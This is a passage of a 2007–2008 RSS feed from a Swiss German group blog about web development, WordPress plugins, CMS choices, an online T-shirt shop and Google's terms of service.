andererseits war das Scratchbook in meiner Lehre entstanden und da mein treuer Begleiter.</p><p>Jetzt bin ich nicht mehr in der Lehre. Informatik ist jetzt nicht mehr nur bloss ein Hobby, jetzt ist es mein Beruf (nein, das soll jetzt nicht Negativ klingen!).</p><p>Mein Hobby? Fliegen, was sonst! Und ich brauche wieder einen Begleiter, in dem ich Erlebtes festhalten kann. Besser gesagt: WIR brauchen einen Begleiter. Und es gibt einen. Ab heute. Ich und Yves waren fleissig am vergangenen Wochenende&#8230; Hier ist ein Weblog, dass sich ausschliesslich unserem Hobby widmet: Gleitschirmfliegen.</p><p>Wir gründeten die Liga der aussergewöhnlichen Acropiloten:<br /> <a href="http://www.die-liga.ch/">www.die-liga.ch</a></p><p>Das Scratchbook wird aber keinesfalls sterben. Dieser Ort hier wird immer da sein und ist offen für alle Datenreisenden. Auch wenn es ruhiger geworden ist &#8211; es ist ein Platz zum Verweilen, Platz für Meinungen, Stories, Kultiges, Lustiges, Schräges&#8230; Ein Tummelplatz für Gedanken.</p> ]]></content:encoded> <wfw:commentRss>http://scratchbook.ch/2008/03/26/es-ist-so-ruhig/feed/</wfw:commentRss> <slash:comments>9</slash:comments> </item> <item><title>Alles neu, macht der Dezember</title><link>http://scratchbook.ch/2007/12/02/alles-neu-macht-der-dezember/</link> <comments>http://scratchbook.ch/2007/12/02/alles-neu-macht-der-dezember/#comments</comments> <pubDate>Sun, 02 Dec 2007 18:21:32 +0000</pubDate> <dc:creator>Longneck</dc:creator> <category><![CDATA[Informatik]]></category> <category><![CDATA[Webentwicklung]]></category><guid isPermaLink="false">http://scratchbook.ch/2007/12/02/alles-neu-macht-der-dezember/</guid> <description><![CDATA[Neuer Monat, neuer Server, neue Banner, neue Wordpress-Version &#8211; gleich alles miteinander.
Wurde aber auch Zeit.
Neuer Server
Jetzt wird das Blog bei den zuverlässigsten Servern der Schweiz gehostet; bei einem Provider, der auch am Samstag morgens um 3 Uhr innert 10 Minuten eine Antwort auf Supportfragen schickt: Metanet.Jaja, ich war bei Hostorama, der Tochterfirma.. Aber bei Metanet [...]]]></description> <content:encoded><![CDATA[<p>Neuer Monat, neuer Server, neue Banner, neue Wordpress-Version &#8211; gleich alles miteinander.</p><p>Wurde aber auch Zeit.</p><p><strong>Neuer Server</strong><br /> Jetzt wird das Blog bei den zuverlässigsten Servern der Schweiz gehostet; bei einem Provider, der auch am Samstag morgens um 3 Uhr innert 10 Minuten eine Antwort auf Supportfragen schickt: <a target="_blank" href="http://www.metanet.ch/">Metanet</a>.</p><p><img src='http://longneck.ch.everest.ch-meta.net/blog/wp-content/uploads/2007/12/metanet-logo.png' alt='metanet-logo.png' /></p><p>Jaja, ich war bei Hostorama, der Tochterfirma.. Aber bei Metanet gibts etwas mehr Speicherplatz. Besonders wenn wir DV-Filmstreams austauschen wollen ein grosser Vorteil.</p><p><strong>Neue Banner</strong><br /> Etwas herbstlich, etwas winterlich&#8230; Ich habe mich einen Abend lang hingesetzt und mein iPhoto-Archiv durchstöbert. 10 Banner sind momentan aktiviert &#8211; von über 30 neuen! Lasst euch überraschen &#8211; ich werde die Banner öfters mal wechseln.</p><p><strong>Neue Wordpress-Version</strong></p><p><img src='http://longneck.ch.everest.ch-meta.net/blog/wp-content/uploads/2007/12/wordpress-logo.png' alt='wordpress-logo.png' /></p><p>Endlich sind wir wieder auf dem technisch neusten Stand. Wordpress hat leider nicht gerade den Ruf einer sicheren Software &#8211; und mir ist etwas unwohl, wenn ich alte Versionen am laufen habe und gleichzeitig Sicherheitslücken dazu auftauchen&#8230;</p><p>Neu kann man jetzt Beiträge mit Tags versehen. Wenn wir genügend Tags zusammen haben, ergibt dasd eine hübsche <a target="_blank" href="http://de.wikipedia.org/wiki/TagCloud">Tag-Cloud</a>, die ich dann auf der Hauptseite einblenden werde.</p><p>*Zitter*, *zitter* &#8230;hoffentlich läuft noch alles. Also Beiträge schreiben kann ich, Bilder hochladen auch &#8211; aber wie sieht&#8217;s mit dem Veröffentlichen aus? Werden die E-Mails gesendet? Intern wurde nämlich die Datenstruktur angepasst, und ich weiss nicht, ob meine Plugins das verkraften&#8230;</p> ]]></content:encoded> <wfw:commentRss>http://scratchbook.ch/2007/12/02/alles-neu-macht-der-dezember/feed/</wfw:commentRss> <slash:comments>29</slash:comments> </item> <item><title>Hoodwear</title><link>http://scratchbook.ch/2007/10/12/hoodwear/</link> <comments>http://scratchbook.ch/2007/10/12/hoodwear/#comments</comments> <pubDate>Fri, 12 Oct 2007 20:28:40 +0000</pubDate> <dc:creator>Longneck</dc:creator> <category><![CDATA[Webentwicklung]]></category><guid isPermaLink="false">http://scratchbook.ch/2007/10/12/hoodwear/</guid> <description><![CDATA[Darf ich vorstellen: Hoodwear.
Bedrucke T-Shirts, Pullis, Jacken mit deiner Postleitzahl. Egal ob Schule, Ausgang oder sonstige Freizeit, jederzeit jedem zeigen woher du kommst, mit Pullovern und T-Shirts mit deiner Postleitzahl drauf – klare Ansage und individueller Style. Für dich, für deine Kollegen, für dein ganzes Viertel – zeigt was Sache ist!
Vier Gymnasiasten bedrucken T-Shirts mit [...]]]></description> <content:encoded><![CDATA[<p><img class="alignleft" src='http://scratchbook.ch/wp-content/uploads/2007/10/hoodwear.png' alt='hoodwear.png' />Darf ich vorstellen: Hoodwear.</p><p>Bedrucke T-Shirts, Pullis, Jacken mit deiner Postleitzahl. Egal ob Schule, Ausgang oder sonstige Freizeit, jederzeit jedem zeigen woher du kommst, mit Pullovern und T-Shirts mit deiner Postleitzahl drauf – klare Ansage und individueller Style. Für dich, für deine Kollegen, für dein ganzes Viertel – zeigt was Sache ist!</p><p>Vier Gymnasiasten bedrucken T-Shirts mit Postleitzahlen, im Rahmen des Projekts &#8220;Eigene Firma&#8221;. Kultig, was? Die Schrift in Baumrindenstruktur&#8230;<br /> Weniger kultig war hingegen der Onlineshop. Ein simples Formular &#8211; das passt überhaupt nicht mit so hippen Produkten zusammen!</p><p>Deshalb hatte ich die ehrenvolle Aufgabe, den passenden Onlineshop auf die Beine zu stellen. Wie werden Kultprodukte verkauft? Schauen wir mal&#8230; <a target="_blank" href="http://store.apple.com/1-800-MY-APPLE/WebObjects/AppleStore.woa/wa/RSLID?mco=5AD81C4B&#038;engr=5AD81C4B">www.apple.com/ipod</a> &#8211; aah, eine Gravur zum selber schnätzlä!</p><p>Genau sowas braucht Hoodwear. Jeder stellt sich sein individuelles T-Shirt zusammen, und sieht dabei gleich, wie es aussieht.</p><p>Und gestern bin ich endlich damit fertiggeworden. War mehr Arbeit als erwartet! Aber das Ergebnis lässt sich sehen:</p><p><a target="_blank" href="http://www.hoodwear.ch/Bestellen.html">http://www.hoodwear.ch/Bestellen.html</a></p><p>Klick mal ein bisschen rum. Gib eine Postleitzahl ein. Aaah&#8230;<br /> Klick mehrmals auf Hinzufügen. Verändere etwas. Klick nochmals auf Hinzufügen. Das wird schön gruppiert, gell?</p><p>Der Shop wird mit einer simplen Konfigurationsdatei verwaltet, wo drin steht, was für Produkte es gibt und wieviel die jeweils kosten. Superkomfortabel &#8211; für Kunden wie auch für die Verkäufer.</p><p>Gönnt euch ein bisschen Kult und zeigt, woher ihr kommt!</p><p><a href="http://www.hoodwear.ch/">www.hoodwear.ch</a></p> ]]></content:encoded> <wfw:commentRss>http://scratchbook.ch/2007/10/12/hoodwear/feed/</wfw:commentRss> <slash:comments>5</slash:comments> </item> <item><title>PHP Framework?</title><link>http://scratchbook.ch/2007/09/12/php-framework/</link> <comments>http://scratchbook.ch/2007/09/12/php-framework/#comments</comments> <pubDate>Wed, 12 Sep 2007 13:05:31 +0000</pubDate> <dc:creator>Freidenker</dc:creator> <category><![CDATA[Informatik]]></category> <category><![CDATA[Webentwicklung]]></category><guid isPermaLink="false">http://scratchbook.ch/2007/09/12/php-framework/</guid> <description><![CDATA[Ein Studi-Kollege von mir hat ne Frage an euch
Ich bin ein PHP Programmierer und auf der Suchen nach dem PHP-Framework schlechthin.
Bis jetzt habe ich auf dieser Website auf eine lange Diskussion gestossen, wobei vor allem 3 Frameworks (zend, CodeIgniter, Prado) empfohlen (unten in den Diskussionen).
Da ich mich selber gar nicht auskenne und noch [...]]]></description> <content:encoded><![CDATA[<p>Ein Studi-Kollege von mir hat ne Frage an euch <img src='http://scratchbook.ch/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /></p><p>Ich bin ein PHP Programmierer und auf der Suchen nach dem PHP-Framework schlechthin.</p><p>Bis jetzt habe ich auf <a href="http://masterbootrecord.de/blog/Auf-der-Suche-nach-dem-perfekten-PHP-Application-Framework/Auf-der-Suche-nach-dem-perfekten-PHP-Application-Framework_2005-11-21_169.html" title="dieser Website">dieser Website</a> auf eine lange Diskussion gestossen, wobei vor allem 3 Frameworks (zend, CodeIgniter, Prado) empfohlen (unten in den Diskussionen).</p><p>Da ich mich selber gar nicht auskenne und noch keine Erfahrungen mit Frameworks habe, möchte ich gerne diese Frage in die Runde werfen.</p><p>Welches Framework eignet sich für:</p><p>- PHP<br /> - gutes Manual<br /> - wenn möglich ajax<br /> - saubere CSS-Trennung<br /> - OpenSource <img src='http://scratchbook.ch/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /></p><p>Vielen Dank für Eure Meinungen und Erfahrungen!</p><p>Stefan.</p> ]]></content:encoded> <wfw:commentRss>http://scratchbook.ch/2007/09/12/php-framework/feed/</wfw:commentRss> <slash:comments>34</slash:comments> </item> <item><title>Google Masterplan Bestätigt??</title><link>http://scratchbook.ch/2007/09/07/google-masterplan-bestatigt/</link> <comments>http://scratchbook.ch/2007/09/07/google-masterplan-bestatigt/#comments</comments> <pubDate>Fri, 07 Sep 2007 06:31:49 +0000</pubDate> <dc:creator>Wi!!iam Wa!!ace</dc:creator> <category><![CDATA[IT-News]]></category> <category><![CDATA[Nachdenklich]]></category> <category><![CDATA[Webentwicklung]]></category><guid isPermaLink="false">http://scratchbook.ch/2007/09/07/google-masterplan-bestatigt/</guid> <description><![CDATA[AGB zum Online-Office gewähren Google weitreichende Rechte
Seit einiger Zeit ist die Online-Office-Sammlung Text &#38; Tabellen von Google auch in Deutschland verfügbar. Damit können Nutzer alle grundlegenden Funktionen einer Textverarbeitung und Tabellenkalkulationen vornehmen. Die Daten werden auf Googles Servern gespeichert &#8211; und der Konzern hat sich die Erlaubnis eingeholt, alle eingestellten Daten für eigene Zwecke [...]]]></description> <content:encoded><![CDATA[<h4>AGB zum Online-Office gewähren Google weitreichende Rechte</h4><p> Seit einiger Zeit ist die Online-Office-Sammlung Text &amp; Tabellen von Google auch in Deutschland verfügbar. Damit können Nutzer alle grundlegenden Funktionen einer Textverarbeitung und Tabellenkalkulationen vornehmen. Die Daten werden auf Googles Servern gespeichert &#8211; und der Konzern hat sich die Erlaubnis eingeholt, alle eingestellten Daten für eigene Zwecke zu verwenden &#8211; per AGB.</p><p><span id="more-4890"></span></p><p>Eigentlich sollten die Allgemeinen Geschäftsbedingungen (AGB) bei jedem Vertragsabschluss genau gelesen werden. Aber in der Praxis fehlt oft einfach die notwendige Zeit dafür, seitenlange Erklärungen in schwer verständlicher Juristensprache durchzulesen. So dürfte es auch vielen deutschen Nutzern von Googles Text &amp; Tabellen gehen. Aber das sollten sie schleunigst nachholen. Denn mit der Zustimmung der AGB hat sich Google genehmigen lassen, alle über die Online-Textverarbeitung und -Tabellenkalkulation eingegebenen Daten für eigene Zwecke zu verwenden.</p><p>Unter <a href="http://www.google.com/google-d-s/intl/de/terms.html">Punkt 11</a> heißt es in den deutschen AGB: <em>&#8220;Durch Übermittlung, Einstellung oder Darstellung der Inhalte gewähren Sie Google eine dauerhafte, unwiderrufliche, weltweite, kostenlose und nicht exklusive Lizenz zur Reproduktion, Anpassung, Modifikation, Übersetzung, Veröffentlichung, öffentlichen Wiedergabe oder öffentlichen Zugänglichmachung und Verbreitung der von Ihnen in oder durch die Services übermittelten, eingestellten oder dargestellten Inhalte.&#8221;</em></p><p>Nutzer von Googles Text &amp; Tabellen können also kaum absehen, wo ihre Daten einmal landen, die sie in das Online-Office eingegeben haben. Immerhin schränkt Google diese weitreichenden Nutzungsrechte gleich wieder ein: <em>&#8220;Diese Lizenz dient  ausschließlich dem Zweck, Google in die Lage zu versetzen, die Services darzustellen, zu verbreiten und zu bewerben&#8221;</em>. Damit könnten durchaus vertrauliche Daten in einer Werbekampagne von Google landen und Nutzer von Text &amp; Tabellen sollten sehr genau überlegen, welche Arten von Daten sie damit verarbeiten wollen.</p><p>Denn Google kann diese Daten auch nicht öffentlich weitergeben. So heißt es in den AGB weiter: <em>&#8220;Sie stimmen zu, dass diese Lizenz Google auch das Recht einräumt, entsprechende Inhalte anderen Gesellschaften, Organisationen oder Personen, mit denen Google vertragliche Beziehungen über die gemeinsame Erbringung von Diensten unterhält, zugänglich zu machen und die Inhalte im Zusammenhang mit der Erbringung entsprechender Dienste zu nutzen.&#8221;</em>. Es bleibt also für den Nutzer vollkommen unklar, was Google mit den Daten macht, die der Nutzer über das Online-Office eingibt.</p><p>Hier der Link zum <a href="http://masterplanthemovie.com/">Googlemasterplan</a></p><p>Quelle Golem.de</p> ]]></content:encoded> <wfw:commentRss>http://scratchbook.ch/2007/09/07/google-masterplan-bestatigt/feed/</wfw:commentRss> <slash:comments>10</slash:comments> </item> <item><title>Move me!</title><link>http://scratchbook.ch/2007/08/17/move-me/</link> <comments>http://scratchbook.ch/2007/08/17/move-me/#comments</comments> <pubDate>Fri, 17 Aug 2007 19:32:24 +0000</pubDate> <dc:creator>Longneck</dc:creator> <category><![CDATA[Webentwicklung]]></category><guid isPermaLink="false">http://scratchbook.ch/2007/08/17/move-me/</guid> <description><![CDATA[
Ich spiele gerade ein wenig mit einer &#8220;neuen&#8221; Technologie herum. Genauer gesagt geht es um Scriptaculous. Das ist ein Javascript-Framework, welches diversen Webseiten die &#8220;Bells &#038; Whistles&#8221; verleiht&#8230;
So werden Elemente plötzlich verschiebbar, hier blinkt es, dort blendet ein Bild sanft ein &#8211; auch Schieberegler und sortierbare Listen sind möglich. Geschickt eingesetzt kann man so die [...]]]></description> <content:encoded><![CDATA[<p><img src='http://scratchbook.ch/wp-content/uploads/2007/08/pfeil.gif' alt='pfeil.gif' /></p><p>Ich spiele gerade ein wenig mit einer &#8220;neuen&#8221; Technologie herum. Genauer gesagt geht es um <a target="_blank" href="http://script.aculo.us/">Scriptaculous</a>. Das ist ein Javascript-Framework, welches diversen Webseiten die &#8220;Bells &#038; Whistles&#8221; verleiht&#8230;</p><p>So werden Elemente plötzlich verschiebbar, hier blinkt es, dort blendet ein Bild sanft ein &#8211; auch Schieberegler und sortierbare Listen sind möglich. Geschickt eingesetzt kann man so die Bedienbarkeit von Webseiten stark verbessern.</p><p>Und so Effekte einbauen ist einfacher als ich dachte! Zum Beispiel dieser Befehl hier:</p><blockquote><p>new Draggable(&#8216;longneck&#8217;)</p></blockquote><p>Und schon bin ich verschiebbar. Probiert es aus: Fasst mich an (jaa, der im roten Pulli oben auf der Seite) und schiebt mich ein wenig herum&#8230;</p> ]]></content:encoded> <wfw:commentRss>http://scratchbook.ch/2007/08/17/move-me/feed/</wfw:commentRss> <slash:comments>4</slash:comments> </item> <item><title>Textpattern</title><link>http://scratchbook.ch/2007/05/28/textpattern/</link> <comments>http://scratchbook.ch/2007/05/28/textpattern/#comments</comments> <pubDate>Mon, 28 May 2007 21:40:46 +0000</pubDate> <dc:creator>Freidenker</dc:creator> <category><![CDATA[Informatik]]></category> <category><![CDATA[Webentwicklung]]></category><guid isPermaLink="false">http://scratchbook.ch/2007/05/28/textpattern/</guid> <description><![CDATA[
Hin und wieder richte ich kleine Homepages ein für Kunden aus dem privaten Umfeld oder für Vereine. In den meisten Fällen handelt es sich um Leute, die &#8220;nicht viel&#8221; bis &#8220;fast gar keine&#8221; Ahnung davon haben, wie sie ihre Homepage verwalten sollen. Falls es keinen ausdrücklichen Wunsch für ein bestimmtes Produkt jeweils gab, hatte ich [...]]]></description> <content:encoded><![CDATA[<p><img src="http://scratchbook.ch/wp-content/uploads/2007/05/346146_web_browser.jpg" alt="Web" /></p><p>Hin und wieder richte ich kleine Homepages ein für Kunden aus dem privaten Umfeld oder für Vereine. In den meisten Fällen handelt es sich um Leute, die &#8220;<em>nicht viel</em>&#8221; bis &#8220;<em>fast gar keine</em>&#8221; Ahnung davon haben, wie sie ihre Homepage verwalten sollen. Falls es keinen ausdrücklichen Wunsch für ein bestimmtes Produkt jeweils gab, hatte ich bisher dieser Zielgruppe immer <a href="http://wordpress.org/" title="Wordpress Homepage">Wordpress</a> eingerichtet &#8211; im Hinblick darauf, dass Wordpress eine relativ einfache und übersichtliche Verwaltungsoberfläche besitzt. So hoffte ich, dass meine Kunden damit ohne grosse Probleme umgehen konnten.</p><p>Mittlerweile bin ich aber nicht mehr so überzeugt davon, da trotzdem einige Kunden Schwierigkeiten damit hatten. Nach langem zögern habe ich nun mal <a href="http://textpattern.com/" title="Textpattern Homepage">Textpattern</a> ausprobiert und bin angenehm überrascht über dessen Einfachheit. Wer <strong>nicht</strong> gerade hohe Anforderungen stellt und viele Features sucht (egal ob in der Basisinstallation dabei oder per Plugin nachladbar), der wird mit der simplen Bedienung von Textpattern freude haben. Textpattern ermöglicht damit Leuten, die kaum Erfahrungen haben, damit ein einfaches CMS (es ist nicht nur als Blog gebrauchbar).</p><p>Installiert ist Textpattern schnell, jedoch schnell mal ein <a href="http://www.textgarden.org/" title="Textpattern Themes">Theme installieren </a>wie in Wordpress &#8211; das ist alles andere als einfach. Ein richtiges System zum schnellen Austauschen gibts nicht bzw. ist <a href="http://mikewest.org/archive/mcw-templates" title="Mike West's Theme System für Textpattern">erst in den Anfängen</a> und kein Standard. Entsprechend <a href="http://txp-templates.com/" title="Textpattern Themes mit Mike West's System">wenige Themes</a> gibts dafür. Für Englisch-Muffel gibts auch eine <a href="http://textpattern.kbbu.de/" title="eine deutsche Textpattern Site">gute deutsche Seite</a> zu Textpattern, interessant vor allem für Entwickler.</p><p>Wer dieses und andere Blog/CMS/etc&#8230; ausprobieren möchte, dem empfehle ich sich die Demoinstallationen auf <a href="http://www.opensourcecms.com/" title="opensourcecms Homepage">opensourcecms.com</a> anzusehen.</p> ]]></content:encoded> <wfw:commentRss>http://scratchbook.ch/2007/05/28/textpattern/feed/</wfw:commentRss> <slash:comments>2</slash:comments> </item> <item><title>Das grosse Krabbeln hat begonnen&#8230;</title><link>http://scratchbook.ch/2007/05/10/das-grosse-krabbeln-hat-begonnen/</link> <comments>http://scratchbook.ch/2007/05/10/das-grosse-krabbeln-hat-begonnen/#comments</comments> <pubDate>Thu, 10 May 2007 19:29:47 +0000</pubDate> <dc:creator>Longneck</dc:creator> <category><![CDATA[Webentwicklung]]></category><guid isPermaLink="false">http://scratchbook.ch/2007/05/10/das-grosse-krabbeln-hat-begonnen/</guid> <description><![CDATA[
Mein erstes Wordpress-Plugin ist fertig: Der gute alte Scratchbook-Messenger! Aber diesmal natürlich auf dem neusten Stand der Technik, bzw. meinem Erfahrungsstand&#8230;
Autoren, die online sind, werden oben rechts dargestellt. Das kennen wir ja bereits. Nun wandern die Icons aber &#8211; je länger die Inaktivität, desto mehr nach links! Und das alles live!
&#8230;Ich konnte es einfach nicht [...]]]></description> <content:encoded><![CDATA[<p><img src="http://scratchbook.ch/wp-content/uploads/2007/05/live-autors.png" alt="live-autors.png" /></p><p>Mein erstes Wordpress-Plugin ist fertig: Der gute alte Scratchbook-Messenger! Aber diesmal natürlich auf dem neusten Stand der Technik, bzw. meinem Erfahrungsstand&#8230;</p><p>Autoren, die online sind, werden oben rechts dargestellt. Das kennen wir ja bereits. Nun wandern die Icons aber &#8211; je länger die Inaktivität, desto mehr nach links! Und das alles live!<br /> &#8230;Ich konnte es einfach nicht verkneifen, noch ein bisschen AJAX mit reinzumischen <img src='http://scratchbook.ch/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /></p><p><img src="http://scratchbook.ch/wp-content/uploads/2007/05/messenger-plugin.png" alt="messenger-plugin.png" height="158" width="449" /></p><p>Das Messengersystem funktioniert wie gewohnt. Auch ohne Javascript. Einzig das Archiv ist noch nicht dabei; wenn ich Zeit habe werde ich das aber nachholen.</p> ]]></content:encoded> <wfw:commentRss>http://scratchbook.ch/2007/05/10/das-grosse-krabbeln-hat-begonnen/feed/</wfw:commentRss> <slash:comments>3</slash:comments> </item> <item><title>www.thefoxhole.ch.vu</title><link>http://scratchbook.ch/2007/03/19/wwwthefoxholechvu/</link> <comments>http://scratchbook.ch/2007/03/19/wwwthefoxholechvu/#comments</comments> <pubDate>Mon, 19 Mar 2007 17:54:31 +0000</pubDate> <dc:creator>foxie</dc:creator> <category><![CDATA[Webentwicklung]]></category><guid isPermaLink="false">http://scratchbook.ch/2007/03/19/wwwthefoxholechvu/</guid> <description><![CDATA[
*juhui*&#8230;
Nach einiger Zytt dörf ich euch s Ergäbnis vo minere Maturarbet vorstelle:
The Foxhole
D Idee isch es Forum für Usstuschschüler und alli andere interessierte Lütt. Das heisst vorallem au, dass es 2 Teil (Tips &#38; Tricks, Questions &#38; Answers) git, wo speziell für d Aalige vo Usstuschschüeler sind. Es het abr au es ganz normals Blog.
Special [...]]]></description> <content:encoded><![CDATA[<p><img src="http://scratchbook.ch/wp-content/uploads/2007/03/skriinschot1.png" height="356" width="449" /></p><p>*juhui*&#8230;<br /> Nach einiger Zytt dörf ich euch s Ergäbnis vo minere Maturarbet vorstelle:</p><p><a href="http://foxie.mindpad.ch">The Foxhole</a></p><p>D Idee isch es Forum für Usstuschschüler und alli andere interessierte Lütt. Das heisst vorallem au, dass es 2 Teil (Tips &amp; Tricks, Questions &amp; Answers) git, wo speziell für d Aalige vo Usstuschschüeler sind. Es het abr au es ganz normals Blog.<br /> Special Features sind z. B. Posts nur an gwüssi Autore chönne z vröffentliche, es wählbars Template&#8230;-abr bevor i alles vrrot: göhnd doch sälber go luege, und hinterlöhnd dr eint odr anderi Kommentar&#8230;</p><p>Isch notürlich alles sälber Coded B-)</p> ]]></content:encoded> <wfw:commentRss>http://scratchbook.ch/2007/03/19/wwwthefoxholechvu/feed/</wfw:commentRss> <slash:comments>7</slash:comments> </item> <item><title>Endlich fertig!</title><link>http://scratchbook.ch/2007/03/04/endlich-fertig/</link> <comments>http://scratchbook.ch/2007/03/04/endlich-fertig/#comments</comments> <pubDate>Sun, 04 Mar 2007 17:57:24 +0000</pubDate> <dc:creator>Longneck</dc:creator> <category><![CDATA[Webentwicklung]]></category><guid isPermaLink="false">http://scratchbook.ch/2007/03/04/endlich-fertig/</guid> <description><![CDATA[
Vor etwa einem Jahr werweisten wir darüber, was wir in der Schule für ein Datenbankprojekt machen wollen. Am 19. Mai war es dann soweit: Mindpad war geboren; und wurde am 13. September mit einer Abschlusspräsentation gefeiert. Seit dem sind viele Tage vergangen und viele neue Ideen entstanden. Ideen, die ich letzte Woche endlich umgesetzt habe.
Jaja, [...]]]></description> <content:encoded><![CDATA[<p><img src='http://scratchbook.ch/wp-content/uploads/2007/03/screenshot_10.png' alt='screenshot_10.png' /></p><p>Vor etwa einem Jahr <a href="http://scratchbook.ch/2006/01/25/PHP-Go-for-it/">werweisten</a> wir darüber, was wir in der Schule für ein Datenbankprojekt machen wollen. Am <a href="http://scratchbook.ch/2006/05/17/Introducing-Mindpad/">19. Mai</a> war es dann soweit: Mindpad war geboren; und wurde am <a href="http://scratchbook.ch/2006/09/14/Special-Events/">13. September</a> mit einer Abschlusspräsentation gefeiert. Seit dem sind viele Tage vergangen und viele neue Ideen entstanden. Ideen, die ich letzte Woche endlich umgesetzt habe.</p><p>Jaja, es hat halt doch Vorteile wenn der Fachbetreuer in den Ferien ist und der Stift alleine werkeln darf! <img src='http://scratchbook.ch/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /></p><p><a href="http://www.mindpad.ch/" target="_blank">www.mindpad.ch</a></p> ]]></content:encoded> <wfw:commentRss>http://scratchbook.ch/2007/03/04/endlich-fertig/feed/</wfw:commentRss> <slash:comments>3</slash:comments> </item> <item><title>SugarCRM &#8211; Opensource</title><link>http://scratchbook.ch/2007/03/03/sugarcrm-opensource/</link> <comments>http://scratchbook.ch/2007/03/03/sugarcrm-opensource/#comments</comments> <pubDate>Fri, 02 Mar 2007 23:17:06 +0000</pubDate> <dc:creator>darknight</dc:creator> <category><![CDATA[Informatik]]></category> <category><![CDATA[Webentwicklung]]></category><guid isPermaLink="false">http://scratchbook.ch/2007/03/03/sugarcrm-opensource/</guid> <description><![CDATA[Für alle die in Zukunft mal ein CRM evaluieren müssen oder sich generell nach einem CRM umschauen, kann ich SugarCRM bestens empfehlen. Ist einer der besten CRM&#8217;s auf OpenSource Basis das ich je gesehen habe.
Live Demo: http://demo.sugarondemand.com/sugarcrm_os/index.php?action=Login&#38;module=UsersIst definive die Einsicht wert.
]]></description> <content:encoded><![CDATA[<p>Für alle die in Zukunft mal ein CRM evaluieren müssen oder sich generell nach einem CRM umschauen, kann ich SugarCRM bestens empfehlen. Ist einer der besten CRM&#8217;s auf OpenSource Basis das ich je gesehen habe.</p><p>Live Demo: <a href="http://demo.sugarondemand.com/sugarcrm_os/index.php?action=Login&amp;module=Users">http://demo.sugarondemand.com/sugarcrm_os/index.php?action=Login&amp;module=Users</a></p><p><a rel="attachment wp-att-4534" href="http://scratchbook.ch/2007/03/03/sugarcrm-opensource/sugershot/" title="SugerShot"><img src="http://scratchbook.ch/wp-content/uploads/2007/03/sugar.thumbnail.PNG" alt="SugerShot" /></a></p><p>Ist definive die Einsicht wert.</p> ]]></content:encoded> <wfw:commentRss>http://scratchbook.ch/2007/03/03/sugarcrm-opensource/feed/</wfw:commentRss> <slash:comments>6</slash:comments> </item> <item><title>Von 725 auf 36 in 30 Minuten</title><link>http://scratchbook.ch/2007/01/23/von-725-auf-36-in-30-minuten/</link> <comments>http://scratchbook.ch/2007/01/23/von-725-auf-36-in-30-minuten/#comments</comments> <pubDate>Tue, 23 Jan 2007 16:43:18 +0000</pubDate> <dc:creator>Longneck</dc:creator> <category><![CDATA[Webentwicklung]]></category><guid isPermaLink="false">http://scratchbook.ch/2007/01/23/von-725-auf-36-in-30-minuten/</guid> <description><![CDATA[Also ich weiss ja nicht was sich Wordpress-Plugin Entwickler so denken. Aber das Plugin &#8220;get_recent_comments&#8221; Ist 725 Zeilen lang, hat irgendwelche komischen &#8220;LEFT JOIN&#8221;-Statements drin und ist mit Abstand das Plugin, welches am meisten Ladezeit verbraucht.
Denn eigentlich ist es ja keine Sache, schnell die letzten fünf Kommentare in einem Menü anzeigen zu lassen &#8211; oder?
Naja, [...]]]></description> <content:encoded><![CDATA[<p>Also ich weiss ja nicht was sich Wordpress-Plugin Entwickler so denken. Aber das Plugin &#8220;get_recent_comments&#8221; Ist 725 Zeilen lang, hat irgendwelche komischen &#8220;LEFT JOIN&#8221;-Statements drin und ist mit Abstand das Plugin, welches am meisten Ladezeit verbraucht.</p><p>Denn eigentlich ist es ja keine Sache, schnell die letzten fünf Kommentare in einem Menü anzeigen zu lassen &#8211; oder?<br /> Naja, jedenfalls habe ich mich schnell hingesetzt und das Plugin neu geschrieben; aber diesmal nach meinen Anforderungen. Das Resultat sind 36 Zeilen (mit Kommentaren!), die so flink sind, dass ich nun sogar das Caching wieder abschalten kann.</p><p>Fazit: &#8220;JOIN&#8221;-Elemente haben in SQL-Statements nichts zu suchen. Also ich weiss nicht wofür die gut sein sollen, ausser mächtig Resourcen zu fressen.<br /> Und jaja, möglichst viele Features und Ausschmückungen; doch Usability und Performance bleiben auf der Strecke&#8230;</p><p>Mann!</p> ]]></content:encoded> <wfw:commentRss>http://scratchbook.ch/2007/01/23/von-725-auf-36-in-30-minuten/feed/</wfw:commentRss> <slash:comments>11</slash:comments> </item> <item><title>Da sitzt er^^</title><link>http://scratchbook.ch/2007/01/20/da-sitzt-er/</link> <comments>http://scratchbook.ch/2007/01/20/da-sitzt-er/#comments</comments> <pubDate>Sat, 20 Jan 2007 15:22:53 +0000</pubDate> <dc:creator>Longneck</dc:creator> <category><![CDATA[Webentwicklung]]></category><guid isPermaLink="false">http://scratchbook.ch/2007/01/20/da-sitzt-er/</guid> <description><![CDATA[
Das Ergebnis meiner CSS-Experimente: Ich hocke nun auf meiner eigenen Homepage und schaue euch zu
Gut, das nimmt ordentlich Platz weg. Ob ich es so lasse, weiss ich noch nicht. Aber gestern kamen mir auf jedenfall ein paar Ideen: Man könnte das Ganze auch animieren!
Also z.B. könnte Dave seine Beine lässig über den Titel [...]]]></description> <content:encoded><![CDATA[<p><img id="image4413" src="http://scratchbook.ch/wp-content/uploads/2007/01/longneckontop.jpg" alt="longneckontop.jpg" /></p><p>Das Ergebnis meiner CSS-Experimente: Ich hocke nun auf meiner eigenen Homepage und schaue euch zu <img src='http://scratchbook.ch/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /></p><p>Gut, das nimmt ordentlich Platz weg. Ob ich es so lasse, weiss ich noch nicht. Aber gestern kamen mir auf jedenfall ein paar Ideen: Man könnte das Ganze auch animieren!</p><p>Also z.B. könnte Dave seine Beine lässig über den Titel auf der Seite herunterbaumeln lassen. Oder jemand klammert sich am Rand fest und zappelt&#8230; Wir könnten auch komplette kleine Sketches zu aktuellen Themen oben einblenden; z.B. Ich und PiraX stossen ein FDP-Plakat um&#8230;</p> ]]></content:encoded> <wfw:commentRss>http://scratchbook.ch/2007/01/20/da-sitzt-er/feed/</wfw:commentRss> <slash:comments>24</slash:comments> </item> </channel> </rss>